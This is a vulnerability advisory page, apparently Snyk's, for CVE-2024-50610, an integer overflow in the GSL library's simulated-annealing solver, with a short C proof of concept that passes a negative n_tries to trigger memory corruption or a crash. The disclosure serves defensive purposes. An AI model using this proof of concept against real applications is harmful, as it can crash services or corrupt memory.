Integer Overflow or Wraparound Affecting gsl package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-UNMANAGED-GSL-8310493
- published 30 Oct 2024
- disclosed 27 Oct 2024
- credit silviadefra
Introduced: 27 Oct 2024
New CVE-2024-50610 Open this link in a new tabHow to fix?
There is no fixed version for gsl
.
Overview
Affected versions of this package are vulnerable to Integer Overflow or Wraparound due to the gsl_siman_solve_many
function in siman/siman.c
. An attacker can trigger memory corruption or cause an application to crash by supplying a specially-crafted payload that manipulates params.n_tries
to be negative.
PoC
#include <gsl/gsl_siman.h>
#include <gsl/gsl_rng.h>
#include <gsl/gsl_vector.h>
double objective_function(void *xp) {
return 0.0;
}
void take_step(const gsl_rng *r, void *xp, double step_size) {
}
int main(void) {
gsl_rng *r;
gsl_rng_env_setup();
r = gsl_rng_alloc(gsl_rng_default);
// Initialize GSL Simulated Annealing parameters
gsl_siman_params_t p;
p.n_tries = -1;// Integer overflow vulnerability: invalid number of trials
gsl_vector *x0 = gsl_vector_alloc(1);
// Call the simulated annealing solver (this is the key call for the vulnerability)
gsl_siman_solve_many(r, x0, objective_function, take_step, NULL, NULL, sizeof(gsl_vector), p);
return 0;
}